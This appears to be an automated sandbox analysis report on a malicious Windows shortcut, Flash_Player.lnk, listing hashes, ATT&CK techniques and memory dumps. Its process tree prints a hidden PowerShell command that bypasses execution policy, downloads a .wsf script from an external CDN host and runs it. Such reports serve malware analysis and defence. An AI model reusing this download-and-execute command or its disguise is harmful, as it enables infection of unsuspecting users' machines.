55fcf47ceaa2a78d958cf056aab34b6a1b49af09df8f6b20bc8d323b15ab9b76

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
12/05/2024, 01:00

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General

Target

Flash_Player.lnk
Size

3KB
MD5

a591b0170684749815c8643e4e6276fc
SHA1

caf54132c73b833a654fe90e8d9842bd00fc4d85
SHA256

565836c76728f4e8e371a4cc8e35a76d24c52bb995607d63002bf893b51b5ede
SHA512

b6e3ac67762a339e1ff22e93749d944c111f536a5735fcdb496bbb3e83f1dcbe522c3a183a9ed1c6b711f096e468c12b4857bf0908272a549a9c187a384e3f42

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2708	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1812 wrote to memory of 2708	1812	cmd.exe	29
PID 1812 wrote to memory of 2708	1812	cmd.exe	29
PID 1812 wrote to memory of 2708	1812	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Flash_Player.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -command Set-Variable -Name dkn -value BitsTransfer;Import-Module $dkn; Set-Variable -Name tla -value https;Set-Variable -Name qhu -value wsf;Start-BitsTransfer "$tla`://1263929185.rsc.cdn77.org/p2rv2.php?aHR0cHM6Ly8xMjYzOTI5MTg1LnJzYy5jZG43Ny5vcmd8SkJONQ%3D%3D" "$env:ALLUSERSPROFILE\jli.$qhu"; Start-Process "$env:ALLUSERSPROFILE\jli.$qhu";
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2708-38-0x000007FEF598E000-0x000007FEF598F000-memory.dmp

Filesize
4KB

Download
memory/2708-39-0x000000001B500000-0x000000001B7E2000-memory.dmp

Filesize
2.9MB

Download
memory/2708-40-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2708-42-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-41-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-44-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-43-0x0000000002AA0000-0x0000000002AC2000-memory.dmp

Filesize
136KB

Download
memory/2708-45-0x00000000028F0000-0x0000000002902000-memory.dmp

Filesize
72KB

Download
memory/2708-46-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download